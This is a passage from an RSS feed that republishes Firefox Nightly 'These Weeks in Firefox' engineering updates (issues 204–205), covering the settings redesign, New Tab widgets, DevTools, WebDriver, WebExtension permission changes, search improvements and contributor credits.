<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205]]></title>
<description><![CDATA[Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting ...]]></description>
<link>https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:28 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1803575">Bug 1803575</a>) on Nightly.</li>
</ul>
<p><img alt='Firefox URL bar dropdown with "col" typed in, showing an eyedropper button labeled "Pick a color" below search suggestions.' class="aligncenter size-full wp-image-2084" height="358" src="https://blog.nightly.mozilla.org/files/2026/06/image1-3.png" width="724"></p>
<ul>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938333">released geckodriver 0.37.0</a>, which includes support for several new APIs and various bug fixes. See the <a href="https://github.com/mozilla/geckodriver/releases/tag/v0.37.0">release page for details</a>.</li>
<li>Starting from Firefox 153, access to local file: URLs is being restricted by default.
<ul>
<li>Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.</li>
<li>Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034168">Bug 2034168</a>).</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1941404%2C2039281%2C2024187%2C1674047%2C1986161%2C2043187%2C2019260%2C2027580%2C2027582%2C2041640%2C2039294%2C2042309%2C1830551%2C2031735%2C2043952%2C1972065%2C2043958%2C2042419%2C2042820%2C2022661%2C1994826%2C2041802%2C1315558%2C1930776%2C2042921%2C2043938">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>:Vincent</li>
<li>Chris Vander Linden</li>
<li>DrSeed</li>
<li>Khalid AlHaddad</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Francis :mckenfra: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1315558">tld service for webextensions</a></li>
<li>any1here: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042309">about:preferences#privacy is broken with MOZ_DATA_REPORTING false</a></li>
<li>pullmana8: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">Fix protocol/Actor.js to throw an Error instead of an Actor</a></li>
<li>RAN1: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1830551">Firefox Crashes on Quit When Running Two Browsers With Separate Profiles</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Accessibility</h4>
<ul>
<li>Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/accessibility-review.html#automated-accessibility-review-skill">in the accessibility review source docs</a>.</li>
</ul>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042200"> Bug 2042200</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042204"> Bug 2042204</a></li>
<li>Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040971"> Bug 2040971</a></li>
<li>Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043803"> Bug 2043803</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041393"> Bug 2041393</a></li>
<li>Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1751346"> Bug 1751346</a></li>
<li>Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805205"> Bug 1805205</a>
<ul>
<li>Thanks to Mike Kaply for implementing this enterprise policy enhancement.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1653876"> Bug 1653876</a></li>
<li>Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1750196"> Bug 1750196</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=766005">Chris Vander Linden</a> made the Search input component shared as we plan to use it in the Netmonitor as well (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019260">#2019260</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027580">#2027580</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027582">#2027582</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=631103">pullmana8</a> improved error management in the DevTools protocol (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">#2031735</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=553004">Chris H-C :chutten</a> removed Legacy Telemetry devtools instrumentation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039650">#2039650</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=13647">:glob ✱</a> fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016778">#2016778</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> exposed heading level more clearly in the accessibility tree (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1588784">#1588784</a>) and in the accessibility highlighter (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044904">#2044904</a>)</li>
</ul>
<p><img alt='Accessibility panel in Firefox DevTools showing a selected "heading (level 3)" node named "Backwards compatibility."' class="aligncenter size-full wp-image-2083" height="375" src="https://blog.nightly.mozilla.org/files/2026/06/image2-3.png" width="727"></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028058">#2028058</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed an issue in Netmonitor search where it could appear the the search stalled (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042405">#2042405</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036404">#2036404</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hardcoded strings</a> for all our session data types.</li>
